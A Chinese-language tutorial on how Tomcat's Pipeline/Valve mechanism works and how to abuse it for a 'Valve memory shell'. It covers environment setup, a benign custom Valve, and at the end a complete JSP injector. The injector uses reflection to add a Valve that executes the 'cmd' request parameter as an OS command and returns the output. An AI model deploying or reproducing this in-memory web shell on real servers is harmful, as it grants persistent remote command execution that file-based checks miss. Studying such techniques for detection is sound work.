之前已经研究过: Listener, Filter, Servlet 三种类型的内存马, 现在来看一下 Valve 内存马, 首先一个 Tomcat 架构如下: 在之前注入 Servlet 内存马时, 会创建一个 Wrapper, 然后调用 Tomcat 底层提供的 addServlet 或模拟 addServlet 方法逻辑来实现内存马注入. 但传统的 WEB 开发时涉及的 Valve 较少, 因此需要先了解 Valve 是什么.
这里准备搭建一个 Tomcat+JSP 的环境, 本地代码很简单, 首先是 pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<projectxmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.heihu577</groupId>
<artifactId>TomcatValveMemshell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<tomcat.version>9.0.10</tomcat.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-util</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>javax.servlet.jsp.jstl</groupId>
<artifactId>jstl-api</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>
</dependencies>
<build>
<plugins>
<!-- 执行 maven compile 时, 会自动将依赖放到 /WEB-INF/lib 目录中, 以免打破双亲委派机制从而导致加载不到类的异常 -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
<executions>
<execution>
<id>install</id>
<phase>install</phase>
<goals>
<goal>sources</goal>
</goals>
</execution>
<execution>
<id>compile</id>
<phase>compile</phase>
<goals>
<goal>copy-dependencies</goal>
</goals>
<configuration>
<outputDirectory>web/WEB-INF/lib</outputDirectory>
</configuration>
</execution>
</executions>
</plugin>
<!-- 执行 maven clean 时, 会自动清除 /WEB-INF/lib 下的所有 jar 包 -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-clean-plugin</artifactId>
<executions>
<execution>
<id>clean</id>
<phase>pre-clean</phase>
<goals>
<goal>clean</goal>
</goals>
<configuration>
<directory>web/WEB-INF/lib</directory>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
配置完 pom.xml 之后, 还需要配置一波 Servlet:
package com.heihu577.servlet;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
publicclassMyServletextendsHttpServlet{
@Override
protectedvoiddoGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {
PrintWriter writer = resp.getWriter();
writer.println("HelloWorld");
writer.flush();
}
}
该 Servlet 用于后面打断点看调用栈使用, 在 /WEB-INF/web.xml 文件中配置该 Servlet 的访问路由:
<?xml version="1.0" encoding="UTF-8"?>
<web-appxmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>com.heihu577.servlet.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/myServlet</url-pattern>
</servlet-mapping>
</web-app>
一个基本的 Tomcat+JSP 的环境就配置好了.
这是一个 Tomcat 中 Valve 的配置思想, Tomcat定义了Pipeline(管道) 和Valve(阀门) 两个接口. 前者用于构造职责链, 后者代表职责链上的每个处理器. 从图中能感受到的是, 当我们一个请求打过来时, 会从 StandardEngineValve 进入到最终的 StandardWrapperValve, 这里有点类似于 Filter 的处理方式. 既然类似于 Filter, 那么 Valve 与 Filter 又有哪些不同?Valve 是 Tomcat 内部的、底层的、容器范围的 拦截机制, 而Filter 是 Servlet 规范的、上层的、WEB应用范围的 拦截机制.
在我们没有配置任何 Valve 的情况下, 我们在/myServlet路由所对应的类上打上断点, 来看一下调用栈走向:
而形成这种 流式(一个接一个的状态) 的原因, 我们可以从第一个 StandardEngineValve 源码中进行观察:
第一个比较特殊, 不急我们再看看第 2,3... 个 Valve 中 invoke 方法的定义:
从图中可以发现, 一个 Valve 类似于数据结构的链式结构, 在逐渐通过 getNext 来层层调用, 而由于 StandardHostValve 最终调用 next 的作用域不同所以调用到了AuthenticatorBase中, 但重点的三个 Valve 已经在图中表明.
而这些 Valve 都是从哪里进行定义的呢?我们这里首先观察一波 Tomcat 内置的 Valve 的实现链: 比较有标志的是 ValveBase 类以及 Valve 接口, 那么我们如果想要自定义 Valve 是否就可以通过继承 ValveBase 或实现 Valve 接口进行自定义 Valve 了呢?那么假设我们真的实现了一个自己的 Valve, 那这个 Valve 又应该如何在 Tomcat 中进行设计? 实际上在 Tomcat 底层架构中我们可以看到: 实际上这里断点中的第一个 Valve, 来自于 server.xml 中的 Valve 标签的配置(通过名称可以看到是用来记载日志的) , 那么我们的自定义 Valve 在后面追加一个是否即可自定义添加一个 Valve?我们不妨一试.
这里我们一定要继承 ValveBase 类, 如果实现 Valve 接口后续会遇到白页问题:
package com.heihu577.valve;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.IOException;
// 不要使用 implements Valve, 会遇到白页
publicclassHeihu577ValveextendsValveBase{
@Override
publicvoidinvoke(Request request, Response response)throws IOException, ServletException {
System.out.println("Heihu577Valve 进来了...");
getNext().invoke(request, response);
}
}
而由于 Tomcat 的配置在 tomcat 根目录/conf/server.xml文件中, 因此必然遵循 Tomcat 的类查找机制, 所以我们需要部署一个 jar 到 Tomcat 的 lib 目录中, 并且在 server.xml 中进行配置:
随后使用 catalina.sh run 启动 (在 MacOS 中必须使用 catalina.sh 才能看到控制台的日志), 并且访问 HTTP 页面:
这就是一个 Valve 在 Tomcat 中的基本定义.
那么, 我们如何操控一个正在运行中的 Tomcat 应用程序注入恶意的 Valve 类呢?并且使其加入到每次 HTTP 请求的流程中? 在 Tomcat StandardPipeline 类中, 贴心的提供了 addValve 方法, 并且源码中已经替我们考虑了 Valve 的兼容性, 使得我们很轻松的编写一个 Valve 注入程序出来:
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
publicfinalclassmyvalveimplementsValve{
private Valve next;
@Override
public Valve getNext(){
return next;
}
@Override
publicvoidsetNext(Valve valve){
next = valve;
}
@Override
publicvoidbackgroundProcess(){
}
@Override
publicvoidinvoke(Request request, Response response)throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
resp.getWriter().close();
}
this.getNext().invoke(request, response);
}
@Override
publicbooleanisAsyncSupported(){
returnfalse;
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
myvalve myvalve = new myvalve();
standardContext.getPipeline().addValve(myvalve);
out.print("Valve Memshell Inject Success !");
%>
</body>
</html>
当访问成功后, 则注入 valve 成功, 并且由于 Valve 脱离了 WEB 应用, 内存马兼容性比较好一些: 如果此时打上断点, 观察调用栈即可发现我们的内存马注入的位置: